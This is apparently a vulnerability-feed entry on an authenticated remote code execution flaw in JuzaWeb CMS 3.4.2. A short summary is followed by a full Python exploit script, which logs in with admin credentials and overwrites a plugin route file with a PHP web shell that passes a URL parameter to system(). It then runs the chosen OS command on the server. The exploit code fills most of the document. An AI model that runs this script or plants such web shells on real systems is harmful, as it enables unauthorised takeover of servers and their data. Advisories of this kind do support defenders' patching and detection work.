JuzaWeb CMS version 3. 4. 2 contains an authenticated remote code execution vulnerability. This allows an attacker with valid credentials to execute arbitrary code on the affected system. Exploit code is publicly available in Python, indicating the vulnerability can be actively tested or exploited by attackers. No official patch or remediation information is provided in the available data.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: JuzaWeb CMS 3.4.2 - Authenticated Remote Code Execution # Date: 2026-01-10 # Exploit Author: Sardor Shoakbarov # Author GitHub: https://github.com/TheDeepOpc # Vendor Homepage: https://juzaweb.com/ # Software Link: https://github.com/juzaweb/ # CVE: N/A (Pending) import requests import argparse from bs4 import BeautifulSoup def run_exploit(): parser = argparse.ArgumentParser(description='JuzaWeb Authenticated RCE') # Setting up the exact syntax you requested parser.add_argument('-u', '--url', help='Target URL (e.g. http://127.0.0.1:8000)', required=True) parser.add_argument('-user', '--username', help='Admin Username/Email', required=True) parser.add_argument('-p', '--password', help='Admin Password', required=True) parser.add_argument('-cmd', '--command', help='OS Command to execute (e.g. "ls", "id")', required=True) args = parser.parse_args() target = args.url.rstrip('/') session = requests.Session() print(f"[*] Targeting: {target}") # Step 1: Login login_url = f"{target}/admin-cp/login" try: get_login = session.get(login_url) soup = BeautifulSoup(get_login.text, 'html.parser') token = soup.find('input', {'name': '_token'})['value'] login_data = { '_token': token, 'email': args.username, 'password': args.password } res = session.post(login_url, data=login_data) if "Dashboard" not in res.text: print("[-] Login failed. Check credentials.") return print("[+] Login Successful.") except Exception as e: print(f"[-] Error during login: {e}") return # Step 2: Inject Web Shell # Injecting system() into a plugin file as described in the report print("[*] Injecting payload into Plugin Editor...") editor_url = f"{target}/admin-cp/plugins/editor" shell_payload = "<?php if(isset($_GET['cmd'])) { system($_GET['cmd']); die; } ?>" inject_data = { 'file': 'src/routes/api.php', # File to overwrite 'content': shell_payload, 'plugin': 'juzaweb/example' # Targeted plugin } session.post(editor_url, data=inject_data) # Step 3: Execute Command # Accessing the modified route to trigger the command print(f"[*] Executing command: {args.command}") exec_url = f"{target}/admin-cp/plugins?cmd={args.command}" response = session.get(exec_url) print("\n--- Output ---") print(response.text.strip()) print("--------------") if __name__ == "__main__": run_exploit()